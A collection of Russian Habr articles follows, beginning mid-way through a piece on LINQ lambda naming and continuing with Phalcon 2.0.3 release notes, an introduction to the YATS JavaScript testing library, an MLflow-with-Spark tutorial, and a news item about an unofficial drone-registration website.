Открываем Шилдта:
```
var posNums = nums.Where(n => n > 0).Select(r => r);
```
Открываю [msdn](https://msdn.microsoft.com/en-us/library/bb548891(v=vs.110).aspx):
```
IEnumerable squares =
Enumerable.Range(1, 10).Select(x => x \* x);
```
Открываю Троелсена:
```
List evenNumbers = list.FindAll(i => (i % 2) == 0);
```
[Metanit](https://metanit.com/sharp/tutorial/15.1.php), [professorweb](https://professorweb.ru/my/LINQ/base/level1/1_5.php) — везде вылезает
```
numbers.Select(n => ...), teams.Select(t => ...)
```
А потом в коде возникают артефакты вроде
```
team.Select( p => p.Age > 18);
```
Еще одна причина появления «коротышек»: изменения в коде. Был однострочный запрос с таблицей Products, городить именования не особо нужно, оставили p. Потом добавили join на ProductGroups, появилась pg, просто чтобы не изменять текущий стиль. Потом кусок кода скопипастили в другой запрос, там join на Profiles, в итоге имеем p, pg, pr.
**Вместо послесловия.** На самом деле проблема вовсе не в «плохом» коде. Проблема в том, что подобные куски попадаются мне уже год, а внимания на них я обратил лишь сейчас. Возникает вопрос: сколько еще недочетов лежит на самом видном месте? | https://habr.com/ru/post/328278/ | null | ru | null |
# Релиз Phalcon 2.0.3
В рамках нашего расписания регулярных релизов, мы рады сообщить, что Phalcon 2.0.3 был выпущен!
Эта версия содержит множество исправлений, а также новые возможности, основанные на фидбеке сообщества.
#### Изменения
* Реализованы псевдонимы для namespace в PHQL
* Возможность определять должен ли виртуальный внешний ключ игнорировать `null`-значения или нет
* Добавлена поддержка `Phalcon\Mvc\Collection` в поведениях (Behaviours)
* Добавлены поведения `SoftDelete` и `Timestampable` в коллекциях
* Исправлена ошибка, добавляющая двойной `?` в `Mvc\Url::get` при использовании параметров [#10421](https://github.com/phalcon/cphalcon/issues/10421)
* Строковые атрибуты в моделях теперь имеют опциональную поддержку пустых значений строки [#440](https://github.com/phalcon/cphalcon/issues/440)
* Добавлена возможность возвращать SQL, генерируемый в экземплярах `Mvc\Model\Query` [#1908](https://github.com/phalcon/cphalcon/issues/1908)
* Исправление некорректно генерируемого запроса в `Phalcon\Db\Dialect::select()` [#10439](https://github.com/phalcon/cphalcon/issues/10439)
* Добавлена поддержка типа Double в MySQL
* `Phalcon\Tag\Select` теперь обрабатывает массив значений строк, избегая принятия нуля за пустую строку [#2921](https://github.com/phalcon/cphalcon/issues/2921)
* PHQL теперь поддерживает выражения CASE/WHEN/ELSE [#651](https://github.com/phalcon/cphalcon/issues/651)
* Исправлена ошибка, возникающая при добавлении нестроковых значений в `Phalcon\Crypt::encrypt` из `Phalcon\Http\Cookies`
* Исправлена ошибка непередачи имени схемы (PostgreSQL)
* Атрибут `persistent` был удален из DNS-атрибутов для PDO соединений, в целях избежания ошибок в PostgreSQL [#10484](https://github.com/phalcon/cphalcon/issues/10484)
#### Основные моменты
##### Поддержка CASE/WHEN/ELSE
Теперь выражения `CASE/WHEN/ELSE` доступны в [PHQL](https://docs.phalconphp.com/en/latest/reference/phql.html):
```
$robots = $this->modelsManager->executeQuery("
SELECT
CASE r.Type
WHEN 'Mechanical' THEN 1
WHEN 'Virtual' THEN 2
ELSE 3
END
FROM Store\Robots
");
```
##### Псевдонимы для Namespace
Если вы используете пространства имен для организации ваших моделей, вы нередко оказывались в ситуации, когда для простой ссылки на модель необходимо набирать длинный namespace. Теперь вы можете добавлять псевдонимы для существующих пространств имен, ускоряя вашу разработку:
```
// До
$data = $this->modelsManager->executeQuery("
SELECT r.*, rp.*
FROM Store\Backend\Models\Robots AS r
JOIN Store\Backend\Models\RobotsParts AS rp
");
```
Определение псевдонимов в менеджере моделей:
```
use Phalcon\Mvc\Model\Manager as ModelsManager;
// ...
$di->set(
'modelsManager',
function() {
$modelsManager = new ModelsManager();
$modelsManager->registerNamespaceAlias(
'bm',
'Store\Backend\Models\Robots'
);
return $modelsManager;
}
);
```
И в запросах:
```
// После
$data = $this->modelsManager->executeQuery("
SELECT r.*, rp.*
FROM bm:Robots AS r
JOIN bm:RobotsParts AS rp
");
```
##### Функции пользовательского диалекта
Эта новая функоциональность поможет вам расширить PHQL с помощью пользовательских функций так как вам необходимо. В следующем примере мы реализуем поддержку MATCH/BINARY из MySQL. Прежде всего вы должны инстанцировать SQL диалект:
```
use Phalcon\Db\Dialect\MySQL as SqlDialect;
use Phalcon\Db\Adapter\Pdo\MySQL as Connection;
$dialect = new SqlDialect();
// Register a new function called MATCH_AGAINST
$dialect->registerCustomFunction(
'MATCH_AGAINST',
function($dialect, $expression) {
$arguments = $expression['arguments'];
return sprintf(
" MATCH (%s) AGAINST (%)",
$dialect->getSqlExpression($arguments[0]),
$dialect->getSqlExpression($arguments[1])
);
}
);
// Диалект должен быть передан в конструктор соединения
$connection = new Connection(
[
"host" => "localhost",
"username" => "root",
"password" => "",
"dbname" => "test",
"dialectClass" => $dialect
]
);
```
Теперь вы можете использовать эту функцию в PHQL и он транслирует ее в правильный SQL:
```
$phql = "SELECT *
FROM Posts
WHERE MATCH_AGAINST(title, :pattern:)";
$posts = $modelsManager->executeQuery($phql, ['pattern' => $pattern]);
```
##### Улучшения в подзапросах
В Phalcon 2.0.2 были введены подзапросы PHQL. Поддержка этой функции была улучшена в 2.0.3 путем введения оператора EXISTS:
```
$phql = "SELECT c.*
FROM Shop\Cars c
WHERE EXISTS (
SELECT id
FROM Shop\Brands b
WHERE b.id = c.brandId
)";
$cars = $this->modelsManager->executeQuery($phql);
```
#### Обновление/Установка
Данная версия может быть установлена из master ветки. Если у вас не установлен Zephir, выполните следующие команды:
```
git clone http://github.com/phalcon/cphalcon
git checkout master
cd ext
sudo ./install
```
Стандартный способ установки также работает:
```
git clone http://github.com/phalcon/cphalcon
git checkout master
cd build
sudo ./install
```
Если у вас уже установлен Zephir:
```
git clone http://github.com/phalcon/cphalcon
git checkout master
zephir fullclean
zephir build
```
*Обратите внимание, что при запуске установочный скрипт заменит уже установленную версию Phalcon.*
DLL для Windows доступны на [странице загрузке](http://phalconphp.com/en/download/windows).
Смотрите [руководство по обновлению](https://blog.phalconphp.com/post/guide-upgrading-to-phalcon-2), если хотите обновиться до Phalcon 2.0.x с 1.3.x.
* [Документация](https://docs.phalconphp.com)
* [API](https://api.phalconphp.com/) (Спасибо [gsouf](https://github.com/gsouf))
#### Благодарности
Спасибо всем, кто принималь участие в создании этой версии: и контрибьюторам и сообществу за обратную связь! | https://habr.com/ru/post/260141/ | null | ru | null |
# Unit тестирование в js. YATS — поделка для написания юнит тестов
Добрый день!
Начать свою статью я хочу с небольшого вступления. Вы помните, какими были сайты лет 10 назад? а пять? Если сайты и содержали какую-то js логику, то она была проста и наивна. На сегодняшний день каждый второй — это не просто статические данные, это большое динамическое содержимое, с «кучей» js логики.
За 5-8 лет JavaScript перестал быть языком для анимирования снежинок под новый год и преобразовался в довольно популярный и востребованный язык программирования, с большим коммьюнити.
Любой код можно сделать лучше, если покрыть его тестами. Код, покрытый тестами проще рефакторить, при написании tests first можно писать удобный расширяемый код.
В таких задачах хорошо помогает UNIT-тестирование.
На сегодняшний день существует множество фреймворков для unit тестирования js кода. В данной статье я бы хотел описать свое видение небольшой библиотеки для тестирования js кода.
### Зачем хотим
Создать небольшую библиотеку, содержащая необходимые методы для работы с кодом и предоставляющая удобный интерфейс для работы как на клиентской стороне, так и с node.js
### Что хотим
* Поддержка цепочных вызовов для возможности писать код без постоянного «упоминания» объекта для тестирования
* Не засорять кучей глобальных переменных пространство (при подключении напрямую)
* Наличие как общих методов для тестирования, так и специфичных, но подчас необходимых (рекурсивное сравнение объектов и т.п.)
* Поддержка подключения как «нативно» (через тег script), так и с помощью require.js (либо commonJS)
* Возможность получить результаты тестов как консольно (клиентская сторона\node.js), так и в виде html (мобильные браузеры)
* Возможность выбрать html ноду в качестве наблюдаемой и очищать после каждой группы тестов (удобно для тестирования, например, виджетов)
* Возможность группировать тесты и получать сложные деревья тестов, например:
Тесты модуля N
|
|\_\_Тесты подмодуля N:X
| |
| |\_\_Тесты функции Z подмодуля X
|
|\_\_\_Тесты функции Y модуля N
### Что получилось
Чтобы долго не томить рассказами — библиотека находится здесь: [github.com/xnimorz/YATS](https://github.com/xnimorz/YATS) (здесь же и небольшое количество примеров)
wiki страница — [xnim.ru/blog?id=38](http://xnim.ru/blog?id=38) (здесь ждет более подробное описание возможностей библиотеки с примерами)
Посмотреть работу библиотеки можно здесь: [xnimorz.github.io/YATS/EXAMPLE.html](http://xnimorz.github.io/YATS/EXAMPLE.html)
Пример кода для тестирования — браузеры ( [github.com/xnimorz/YATS/blob/master/example.js](https://github.com/xnimorz/YATS/blob/master/example.js) ) — здесь содержится пример работы всех методов бибилиотеки
node.js — [github.com/xnimorz/YATS/blob/master/nodeExample.js](https://github.com/xnimorz/YATS/blob/master/nodeExample.js)
### Что умеем
Библиотека создает глобальный объект yats (если подключать не через require).
Основными методами библиотеки являются методы:
* ok — проверяет выражение на истинность (принимает любые объекты, в том числе функцию, которую запускает на выполнение)
* not — аналогично ok, но проверяет на ложность
* group — позволяет группировать тесты в отдельные группы. Имеется возможность создавать любую иерархию групп.
* groupClose — закрывает последнюю активную группу. (при вызове несколько раз подряд — будет последовательно закрывать активные группы)
* comment — описывает комментарий к тесту
* getHtmlResult — получает html результатов тестов
* toConsole — выводит результаты тестов на консоль
Используя данные методы можно приступать к написанию тестов с помощью данной библиотеки.
Остальные методы можно почерпнуть из wiki страницы, либо из README на гитхабе (так как они являются более специфичными и позволяют писать тесты более гибко, но не влияют на остальную работу библиотеки).
#### Описание методов
comment({string}) — добавляет комментарий к следующему тесту.
getHtmlResult — предоставляет результаты тестов в виде html
toConsole — выводит результаты тестов в консоль
ok({object}) — принимает переменную\функцию\логическое выражение. В случае с функцией вызывает ее и обрабатывает результат выполнения).
Аналогично работает функция not
пример работы:
```
yats
.comment('Это пример комментария').ok(1 === 1)
.comment('Тестирование существования объекта').ok({someObjectField: 23})
.comment('функция-аргумент метода ok будет вызвана').ok(function(){return true;})
.comment('Это последний комментарий').not(function(){return false;})
.comment('Это пример работы, когда тест не проходит').ok()
.comment('Это пример работы, когда функция вызывает исключение').ok(function() {throw 'some exception';})
.toConsole();
```
Успешно пройденные тесты помечаются синим цветом. Не прошедшие тесты или тесты, в которых был сгенерирован exception — оттенками красного.
group({string} название группы,{string} описание группы, {function} функция) — основной параметр — название группы. Помечает новую группу заданным названием. При необходимости можно задать дополнительное описание группы. (необязательно)
Также, функция, которая описывает группу тестов необязательна. Если такая группа определена, то все тесты внутри данной функции будут относится к выбранной группы (допустимы вложенности групп). По окончании функции, группа будет закрыта.
Если такую функцию не определять, то группу необходимо закрыть вручную с помощью функции groupClose().
Например, приведенные тесты идентичны:
```
yats
// #1
.group('ok/not')
.comment('Пример теста внутри группы').ok(true)
.groupClose()
.toConsole()
//Очищение стека тестов
.clearStack()
// #2
.group('ok/not', function() {
yats.comment('Пример теста внутри группы').ok(true)
}
)
.toConsole();
```
Заметим, каждая подгруппа ведет свою статистику пройденных, заваленных тестов. Это позволяет быстро определить проблемный модуль.
#### Работа с группами:
Работа с группами выглядит следующим образом:
Разработчик получает возможность в файле описать работу каждого модуля, выделяя тесты для каждой функции в отдельную группу, например, у нас существует модуль cat:
```
var cat = {
meow: function() {
this.say = 'meow';
this.action = 'say';
},
purr: function() {
this.say = 'urrr';
this.laught = true;
this.action = 'say';
},
run: function() {
this.action = 'run';
this.say = '';
}
};
```
Для тестирования данного модуля заведем группу тестов Cat:
```
yats.group('cat', function() {
// Код тестов
});
```
Внутри данной группы тестов обернем в тестирование каждой функции в отдельную группу тестов:
```
yats.group('cat', function() {
cat.meow();
yats
.group('meow')
.comment('что кот делает').ok(cat.action === 'say')
.comment('что кот произносит').ok(cat.say === 'meow')
.groupClose();
cat.purr();
yats
.group('purr')
.comment('что кот делает').ok(cat.action === 'say')
.comment('что кот произносит').ok(cat.say === 'urrr')
.comment('доволен ли кот').ok(cat.laught)
.groupClose();
cat.run();
yats
.group('run')
.comment('что кот делает').ok(cat.action === 'run')
.comment('что кот произносит').ok(cat.say === '')
.groupClose();
});
```
Да, конечно, для данного примера необходимость создавать группу тестов для каждой функции притянута «за уши», но в случае, если для функции необхоидимо написать 3-5 и более тестов — перспектива обернуть эти тесты в группу кажется очень привлекательной. Мы получим более структурированный код и понятное отображение результатов теста.
#### Работа с DOM элементом.
YATS поддерживает «слежение» за DOM элементом. Для этого нам необходимо установить «рабочую ноду» и затем после каждой группы тестов данная нода будет очищаться.
Функции для работы с DOM элементом:
* setWorkingNode({cssSelector}) — устанавливает рабочую ноду
* resetWorkingNode() — сбрасывает рабочую ноду (более слежение за этим элементом не будет)
* getWorkingNode() — получает рабочую ноды
Пример работы:
Предположим, что в html документе находится следующий код:
```
тест
```
Код тестов:
```
yats
.setWorkingNode('.test-node')
.group('Пример работы с нодой', function() {
yats
.comment('Первая попытка получить innerHTML').ok(yats.getWorkingNode().innerHTML === 'тест')
.comment('Внутри группы тестов рабочая нода не очищается').ok(yats.getWorkingNode().innerHTML === 'тест');
})
.toConsole()
.group('Пример работы с нодой', function() {
yats.comment('Получить не удается, так как данные в ноде уже удалены').not(yats.getWorkingNode().innerHTML);
})
.toConsole();
```
#### Работа с nodejs и браузерной консолью
В браузере группы тестов скрываются, чтобы предоставить пользователю общую информацию о тесте. Посмотреть необходимые результаты можно щелкнув по заданной группе тестов:
(Подробное описание тестов хранится за фразой Tests)
Для node.js группы тестов и вложенности определены табуляцией, что позволяет упростить «навигацию» в просмотре результатов тестов:
#### Таким образом
В данной статье была описана необходимая информация для быстрого старта с помощью данной библиотеки.
Информацию о дополнительных методах (проверка переданных аргументов на эквивалентность (equal), работа с фиксированием переменной (test) и т.д.) можно найти в страничке-описании и в readme к проекту [github.com/xnimorz/YATS](https://github.com/xnimorz/YATS) | https://habr.com/ru/post/232911/ | null | ru | null |
# Расширение возможностей Spark с помощью MLflow
***Привет, хабровчане. Как мы уже писали, в этом месяце OTUS запускает сразу два курса по машинному обучению, а именно [базовый](https://otus.pw/h8IZ/) и [продвинутый](https://otus.pw/jut8/). В связи с этим продолжаем делиться полезным материалом.***
---
Цель этой статьи – рассказать о нашем первом опыте использования [MLflow](https://mlflow.org/).
Мы начнем обзор [MLflow](https://mlflow.org/docs/latest/tracking.html) с его tracking-сервера и прологируем все итерации исследования. Затем поделимся опытом соединения Spark с MLflow с помощью UDF.
### Контекст
Мы в [Alpha Health](http://alpha.company/moonshots/alpha-health) используем машинное обучение и искусственный интеллект, чтобы дать людям возможность заботиться о своем здоровье и благополучии. Поэтому модели машинного обучения лежат в основе разрабатываемых нами продуктов обработки данных, и именно поэтому наше внимание привлекла MLflow — платформа с открытым исходным кодом, которая охватывает все аспекты жизненного цикла машинного обучения.
### MLflow
Основная цель MLflow – обеспечить дополнительный слой поверх машинного обучения, который позволил бы специалистам по data science работать практически с любой библиотекой машинного обучения ([h2o](https://github.com/h2oai), [keras](https://keras.io/), [mleap](http://mleap-docs.combust.ml/), [pytorch](https://pytorch.org/), [sklearn](http://scikit-learn.org/stable/) и [tensorflow](https://www.tensorflow.org/)), выводя ее работу на новый уровень.
MLflow обеспечивает три компонента:
* **Tracking** – запись и запросы к экспериментам: код, данные, конфигурация и результаты. Следить за процессом создания модели очень важно.
* **Projects** – Формат упаковки для запуска на любой платформе (например, [SageMaker](https://aws.amazon.com/ru/sagemaker/))
* **Models** – общий формат отправки моделей в различные инструменты развертывания.
> MLflow (на момент написания статьи в alpha-версии) — платформа с открытым исходным кодом, которая позволяет управлять жизненным циклом машинного обучения, в том числе экспериментами, переиспользованием и развертыванием.
### Настройка MLflow
Для использования MLflow нужно сначала настроить всю среду Python, для этого мы воспользуемся [PyEnv](https://github.com/pyenv/pyenv) (чтобы установить Python на Mac, загляните [сюда](https://gist.github.com/chris-zen/9e61db6924bd37fbe414f648614ca4c5)). Так мы сможем создать виртуальную среду, куда установим все необходимые для запуска библиотеки.
```
```
pyenv install 3.7.0
pyenv global 3.7.0 # Use Python 3.7
mkvirtualenv mlflow # Create a Virtual Env with Python 3.7
workon mlflow
```
```
Установим требуемые библиотеки.
```
```
pip install mlflow==0.7.0 \
Cython==0.29 \
numpy==1.14.5 \
pandas==0.23.4 \
pyarrow==0.11.0
```
```
> Примечание: мы используем PyArrow для запуска таких моделей как UDF. Версии PyArrow и Numpy нужно было поправить, поскольку последние версии конфликтовали между собой.
### Запускаем Tracking UI
MLflow Tracking позволяет нам логировать и делать запросы к экспериментам с помощью Python и [REST](https://mlflow.org/docs/latest/rest-api.html#rest-api) API. Помимо этого, можно определить, где хранить артефакты модели (localhost, [Amazon S3](https://mlflow.org/docs/latest/tracking.html#amazon-s3), [Azure Blob Storage](https://mlflow.org/docs/latest/tracking.html#azure-blob-storage), [Google Cloud Storage](https://mlflow.org/docs/latest/tracking.html#google-cloud-storage) или [SFTP-сервер](https://mlflow.org/docs/latest/tracking.html#sftp-server)). Поскольку в Alpha Health мы пользуемся AWS, в качестве хранилища артефактов будет S3.
```
# Running a Tracking Server
mlflow server \
--file-store /tmp/mlflow/fileStore \
--default-artifact-root s3:///mlflow/artifacts/ \
--host localhost
--port 5000
```
MLflow рекомендует использовать постоянное файловое хранилище. Файловое хранилище – это место, где сервер будет хранить метаданные запусков и экспериментов. При запуске сервера убедитесь, что он указывает на постоянное файловое хранилище. Здесь для эксперимента мы просто воспользуемся `/tmp`.
Помните о том, что, если мы хотим использовать сервер mlflow для запуска старых экспериментов, они должны присутствовать в файловом хранилище. Однако и без этого мы бы смогли их использовать в UDF, поскольку нам нужен только путь до модели.
> Примечание: Имейте в виду, что Tracking UI и клиент модели должны иметь доступ к местоположению артефакта. То есть вне зависимости от того, что Tracking UI располагается в экземпляре EC2, при локальном запуске MLflow у машины должен быть прямой доступ к S3 для записи моделей артефактов.
*Tracking UI хранит артефакты в бакете S3*
### Запуск моделей
Как только будет работать Tracking-сервер, можно начинать обучать модели.
В качестве примера мы воспользуемся модификацией wine из примера MLflow в [Sklearn](https://github.com/mlflow/mlflow/blob/master/examples/sklearn_elasticnet_wine/train.py).
```
MLFLOW_TRACKING_URI=http://localhost:5000 python wine_quality.py \
--alpha 0.9
--l1_ration 0.5
--wine_file ./data/winequality-red.csv
```
Как мы уже говорили, MLflow позволяет логировать параметры, метрики и артефакты моделей, чтобы можно было отслеживать, как они развиваются по мере итераций. Эта функция крайне полезна, поскольку так мы сможем воспроизвести лучшую модель, обратившись в Tracking-серверу или поняв, какой код выполнил нужную итерацию, воспользовавшись логами git hash коммитов.
```
with mlflow.start_run():
... model ...
mlflow.log_param("source", wine_path)
mlflow.log_param("alpha", alpha)
mlflow.log_param("l1_ratio", l1_ratio)
mlflow.log_metric("rmse", rmse)
mlflow.log_metric("r2", r2)
mlflow.log_metric("mae", mae)
mlflow.set_tag('domain', 'wine')
mlflow.set_tag('predict', 'quality')
mlflow.sklearn.log_model(lr, "model")
```
*Итерации wine*
### Серверная часть для модели
> Tracking-сервер MLflow, запущенный с помощью команды “mlflow server”, имеет REST API для отслеживания запусков и записи данных в локальную файловую систему. Вы можете указать адрес tracking-сервера с помощью переменной среды «MLFLOW\_TRACKING\_URI» и tracking API MLflow автоматически свяжется с tracking-сервером по этому адресу, чтобы создать/получить информацию о запуске, метрики логов и т.д.
>
>
>
> Источник: [Docs// Running a tracking server](https://mlflow.org/docs/latest/tracking.html#running-a-tracking-server)
Чтобы обеспечить модель сервером нам понадобится запущенный tracking-сервер (см. интерфейс запуска) и Run ID модели.
*Run ID*
```
# Serve a sklearn model through 127.0.0.0:5005
MLFLOW_TRACKING_URI=http://0.0.0.0:5000 mlflow sklearn serve \
--port 5005 \
--run_id 0f8691808e914d1087cf097a08730f17 \
--model-path model
```
Для обслуживания моделей с помощью функционала MLflow serve, нам понадобится доступ к Tracking UI, чтобы получать информацию о модели просто указав `--run_id`.
Как только модель связывается с Tracking-сервером, мы можем получить новую конечную точку модели.
```
# Query Tracking Server Endpoint
curl -X POST \
http://127.0.0.1:5005/invocations \
-H 'Content-Type: application/json' \
-d '[
{
"fixed acidity": 3.42,
"volatile acidity": 1.66,
"citric acid": 0.48,
"residual sugar": 4.2,
"chloridessssss": 0.229,
"free sulfur dsioxide": 19,
"total sulfur dioxide": 25,
"density": 1.98,
"pH": 5.33,
"sulphates": 4.39,
"alcohol": 10.8
}
]'
> {"predictions": [5.825055635303461]}
```
### Запуск моделей из Spark
Несмотря на то, что Tracking-сервер достаточно мощный для обслуживания моделей в режиме реального времени, их обучения и использования функционалаserve (источник: [mlflow // docs // models # local](https://mlflow.org/docs/latest/models.html#local)), применение Spark (batch или streaming) – еще более мощное решение за счет распределенности.
Представьте, что вы просто провели обучение в оффлайне, а потом применили выходную модель ко всем вашим данным. Именно тут Spark и MLflow покажут себя с лучшей стороны.
### Устанавливаем PySpark + Jupyter + Spark
> Источник: [Get started PySpark — Jupyter](https://blog.sicara.com/get-started-pyspark-jupyter-guide-tutorial-ae2fe84f594f)
Чтобы показать, как мы применяем модели MLflow к датафреймам Spark, нужно настроить совместную работу Jupyter notebooks с PySpark.
Начните с установки последней стабильной версии [Apache Spark](http://spark.apache.org/downloads.html):
```
cd ~/Downloads/
tar -xzf spark-2.4.3-bin-hadoop2.7.tgz
mv ~/Downloads/spark-2.4.3-bin-hadoop2.7 ~/
ln -s ~/spark-2.4.3-bin-hadoop2.7 ~/spark̀
```
Установите PySpark и Jupyter в виртуальную среду:
```
pip install pyspark jupyter
```
Настройте переменные среды:
```
export SPARK_HOME=~/spark
export PATH=$SPARK_HOME/bin:$PATH
export PYSPARK_DRIVER_PYTHON=jupyter
export PYSPARK_DRIVER_PYTHON_OPTS="notebook --notebook-dir=${HOME}/Projects/notebooks"
```
Определив `notebook-dir`, мы сможем хранить наши notebook-и в желаемой папке.
### Запускаем Jupyter из PySpark
Поскольку мы смогли настроить Jupiter в качестве драйвера PySpark, теперь мы можем запускать Jupyter notebook в контексте PySpark.
```
(mlflow) afranzi:~$ pyspark
[I 19:05:01.572 NotebookApp] sparkmagic extension enabled!
[I 19:05:01.573 NotebookApp] Serving notebooks from local directory: /Users/afranzi/Projects/notebooks
[I 19:05:01.573 NotebookApp] The Jupyter Notebook is running at:
[I 19:05:01.573 NotebookApp] http://localhost:8888/?token=c06252daa6a12cfdd33c1d2e96c8d3b19d90e9f6fc171745
[I 19:05:01.573 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[C 19:05:01.574 NotebookApp]
Copy/paste this URL into your browser when you connect for the first time,
to login with a token:
http://localhost:8888/?token=c06252daa6a12cfdd33c1d2e96c8d3b19d90e9f6fc171745
```
Как было сказано выше, MLflow предоставляет функцию логирования артефактов модели в S3. Как только у нас в руках появляется выбранная модель, мы имеем возможность импортировать ее как UDF с помощью модуля `mlflow.pyfunc`.
```
import mlflow.pyfunc
model_path = 's3:///mlflow/artifacts/1/0f8691808e914d1087cf097a08730f17/artifacts/model'
wine\_path = '/Users/afranzi/Projects/data/winequality-red.csv'
wine\_udf = mlflow.pyfunc.spark\_udf(spark, model\_path)
df = spark.read.format("csv").option("header", "true").option('delimiter', ';').load(wine\_path)
columns = [ "fixed acidity", "volatile acidity", "citric acid",
"residual sugar", "chlorides", "free sulfur dioxide",
"total sulfur dioxide", "density", "pH",
"sulphates", "alcohol"
]
df.withColumn('prediction', wine\_udf(\*columns)).show(100, False)
```
*PySpark – Вывод прогноза качества вина*
До этого момента мы говорили о том, как использовать PySpark с MLflow, запуская прогнозирование качества вина на всем наборе данных wine. Но что делать, если нужно использовать модули Python MLflow из Scala Spark?
Мы протестировали и это, разделив контекст Spark между Scala и Python. То есть мы зарегистрировали MLflow UDF в Python, и использовали его из Scala (да, возожно, не лучшее решение, но что имеем).
#### Scala Spark + MLflow
Для этого примера мы добавим [Toree Kernel](https://toree.apache.org/) в существующий Jupiter.
#### Устанавливаем Spark + Toree + Jupyter
```
pip install toree
jupyter toree install --spark_home=${SPARK_HOME} --sys-prefix
jupyter kernelspec list
```
```
Available kernels:
apache_toree_scala /Users/afranzi/.virtualenvs/mlflow/share/jupyter/kernels/apache_toree_scala
python3 /Users/afranzi/.virtualenvs/mlflow/share/jupyter/kernels/python3
```
```
Как видно из прикрепленного notebook-а, UDF используется совместно Spark и PySpark. Мы надеемся, что эта часть будет полезна тем, кто любит Scala и хочет развернуть модели машинного обучения на продакшене.
```
import org.apache.spark.sql.functions.col
import org.apache.spark.sql.types.StructType
import org.apache.spark.sql.{Column, DataFrame}
import scala.util.matching.Regex
val FirstAtRe: Regex = "^_".r
val AliasRe: Regex = "[\\s_.:@]+".r
def getFieldAlias(field_name: String): String = {
FirstAtRe.replaceAllIn(AliasRe.replaceAllIn(field_name, "_"), "")
}
def selectFieldsNormalized(columns: List[String])(df: DataFrame): DataFrame = {
val fieldsToSelect: List[Column] = columns.map(field =>
col(field).as(getFieldAlias(field))
)
df.select(fieldsToSelect: _*)
}
def normalizeSchema(df: DataFrame): DataFrame = {
val schema = df.columns.toList
df.transform(selectFieldsNormalized(schema))
}
FirstAtRe = ^_
AliasRe = [\s_.:@]+
getFieldAlias: (field_name: String)String
selectFieldsNormalized: (columns: List[String])(df: org.apache.spark.sql.DataFrame)org.apache.spark.sql.DataFrame
normalizeSchema: (df: org.apache.spark.sql.DataFrame)org.apache.spark.sql.DataFrame
Out[1]:
[\s_.:@]+
In [2]:
val winePath = "~/Research/mlflow-workshop/examples/wine_quality/data/winequality-red.csv"
val modelPath = "/tmp/mlflow/artifactStore/0/96cba14c6e4b452e937eb5072467bf79/artifacts/model"
winePath = ~/Research/mlflow-workshop/examples/wine_quality/data/winequality-red.csv
modelPath = /tmp/mlflow/artifactStore/0/96cba14c6e4b452e937eb5072467bf79/artifacts/model
Out[2]:
/tmp/mlflow/artifactStore/0/96cba14c6e4b452e937eb5072467bf79/artifacts/model
In [3]:
val df = spark.read
.format("csv")
.option("header", "true")
.option("delimiter", ";")
.load(winePath)
.transform(normalizeSchema)
df = [fixed_acidity: string, volatile_acidity: string ... 10 more fields]
Out[3]:
[fixed_acidity: string, volatile_acidity: string ... 10 more fields]
In [4]:
%%PySpark
import mlflow
from mlflow import pyfunc
model_path = "/tmp/mlflow/artifactStore/0/96cba14c6e4b452e937eb5072467bf79/artifacts/model"
wine_quality_udf = mlflow.pyfunc.spark_udf(spark, model_path)
spark.udf.register("wineQuality", wine_quality_udf)
Out[4]:
.predict at 0x1116a98c8>
In [6]:
df.createOrReplaceTempView("wines")
In [10]:
%%SQL
SELECT
quality,
wineQuality(
fixed\_acidity,
volatile\_acidity,
citric\_acid,
residual\_sugar,
chlorides,
free\_sulfur\_dioxide,
total\_sulfur\_dioxide,
density,
pH,
sulphates,
alcohol
) AS prediction
FROM wines
LIMIT 10
Out[10]:
+-------+------------------+
|quality| prediction|
+-------+------------------+
| 5| 5.576883967129615|
| 5| 5.50664776916154|
| 5| 5.525504822954496|
| 6| 5.504311247097457|
| 5| 5.576883967129615|
| 5|5.5556903912725755|
| 5| 5.467882654744997|
| 7| 5.710602976324739|
| 7| 5.657319539336507|
| 5| 5.345098606538708|
+-------+------------------+
In [17]:
spark.catalog.listFunctions.filter('name like "%wineQuality%").show(20, false)
+-----------+--------+-----------+---------+-----------+
|name |database|description|className|isTemporary|
+-----------+--------+-----------+---------+-----------+
|wineQuality|null |null |null |true |
+-----------+--------+-----------+---------+-----------+
```
### Следующие шаги
Несмотря на то, что на момент написания статьи MLflow находится в Alpha-версии, она выглядит довольно многообещающе. Одна лишь возможность запускать несколько фреймворков машинного обучения и использовать их из одной конечной точки выводит рекомендательные системы на новый уровень.
К тому же, MLflow сближает Data-инженеров и специалистов по Data Science, прокладывая между ними общий слой.
После этого исследования MLflow, мы уверены, что пойдем дальше и будем использовать ее для наших пайплайнов Spark и в рекомендательных системах.
Было бы неплохо синхронизировать файловое хранилище с базой данных, вместо файловой системы. Так мы должны получить несколько конечных точек, которые могут использовать одно и то же файловое хранилище. Например, использовать несколько экземпляров [Presto](https://prestodb.io/) и [Athena](https://aws.amazon.com/athena/) с одним и тем же Glue metastore.
Подводя итоги, хочется сказать спасибо сообществу MLFlow за то, что делаете нашу работу с данными интереснее.
Если вы играетесь с MLflow, не стесняйтесь писать нам и рассказывать, как вы его используете, и тем более, если используете его на продакшене.
---
Узнать подробнее о курсах:
[Machine Learning. Базовый курс](https://otus.pw/h8IZ/)
[Machine Learning. Продвинутый курс](https://otus.pw/jut8/)
---
Читать ещё:
* [Риски и предостережения при применении метода главных компонент к задачам обучения с учителем](https://habr.com/ru/company/otus/blog/515046/)
* [Разворачиваем модель машинного обучения с Docker – Часть 1](https://habr.com/ru/company/otus/blog/513672/)
* [Разворачиваем модель машинного обучения с Docker – Часть 2](https://habr.com/ru/company/otus/blog/515514/) | https://habr.com/ru/post/516420/ | null | ru | null |
# Недавно запущенный российский сайт для регистрации беспилотников оказался ненастоящим
Ряд СМИ [сообщили 5 апреля](https://russian.rt.com/article/157211) о запуске системы добровольной регистрации беспилотных аппаратов массой от 250 гр до 30 кг через интернет. На [сайте проекта](http://uavreg.ru/) было указано, что он разработан Федерацией авиамодельного спорта России (ФАСР) и Ассоциацией эксплуатантов и разработчиков беспилотных авиационных систем (ЭРБАС). Однако спустя некоторое время выяснилось, что государственные органы не имеют к запуску сайта никакого отношения.
Пресс-служба Минтранса РФ [сообщила изданию «Фонтанка»](http://www.fontanka.ru/2016/04/05/077/), что регистрация на портале uavreg.ru не предусмотрена действующим законодательством. Также в министерстве опровергли информацию с сайта о том, что он был создан при поддержке Министерства транспорта.
По информации whois, сайт зарегистрирован на некоммерческую организацию ЭРБАС. В данный момент он уже не отвечает на запросы.
`по данным WHOIS.NIC.RU:
domain: UAVREG.RU
nserver: ns1.1gb.ru
nserver: ns2.1gb.ru
nserver: ns3.1gb-ru.com
